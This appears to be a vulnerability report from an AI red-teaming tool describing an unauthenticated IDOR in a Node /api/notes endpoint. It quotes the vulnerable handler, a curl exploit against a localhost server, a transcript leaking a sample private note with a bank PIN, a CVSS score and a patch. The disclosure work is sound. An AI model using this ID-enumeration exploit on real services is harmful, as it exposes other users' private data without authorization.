Rook
AI red-teamer · 42nights

Unauthenticated IDOR on /api/notes discloses other users' private notes

high7.5

idor · server.js:48-53

Introduced in f87c6fc2fa by Macintosh1011 on 2026-05-30

Summary

The /api/notes handler at server.js:48 fetches a note solely by the numeric id supplied in the query string and returns it directly, without authenticating the requester or checking that the note's owner matches the caller. Notes flagged `private: true` belonging to other users are returned identically to public notes. Expected behavior is to require authentication and only return a note when it is public or owned by the authenticated user.

Impact. Any unauthenticated remote attacker can enumerate note IDs (e.g., id=1, 2, 3, ...) and read every user's private notes — including sensitive content such as bank PINs, passwords, and personal data — as confirmed by retrieving alice's private note containing a bank PIN via a simple GET request.

Vulnerable code — server.js

🔴 if (parsed.pathname === "/api/notes") {
🔴 const id = Number(q.id || 1);
🔴 const note = NOTES.find((n) => n.id === id);
🔴 if (!note) return send(res, 404, "no such note");
🔴 return send(res, 200, JSON.stringify(note), "application/json");
🔴 }

Working exploit

curl -s 'http://127.0.0.1:4600/api/notes?id=2'

Exploit transcript

$ curl -s 'http://127.0.0.1:4600/api/notes?id=2'
HTTP 200  Content-Type: application/json
{"id":2,"owner":"alice","text":"alice PRIVATE: bank pin 4821","private":true}

Confirmed: HTTP 200 with JSON body {"id":2,"owner":"alice","text":"alice PRIVATE: bank pin 4821","private":true} returned to an unauthenticated request for id=2.

CVSS v3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N7.5 (high)

Recommended fix

AI-suggested fix — review before applying (derived from analysis of untrusted repo content):

Require authentication and enforce owner/visibility checks before returning the note:

--- a/server.js
+++ b/server.js
@@
   if (parsed.pathname === "/api/notes") {
-    const id = Number(q.id || 1);
-    const note = NOTES.find((n) => n.id === id);
-    if (!note) return send(res, 404, "no such note");
-    return send(res, 200, JSON.stringify(note), "application/json");
+    const user = authenticate(req); // verify session/token
+    if (!user) return send(res, 401, "authentication required");
+    const id = Number(q.id);
+    if (!Number.isInteger(id)) return send(res, 400, "invalid id");
+    const note = NOTES.find((n) => n.id === id);
+    if (!note) return send(res, 404, "no such note");
+    if (note.private && note.owner !== user.username) {
+      return send(res, 404, "no such note"); // avoid id enumeration
+    }
+    return send(res, 200, JSON.stringify(note), "application/json");
   }

Ship the fix

Rook found it and proved it. Hand the finding — with its working exploit as a failing test — to Otis to write the fix PR.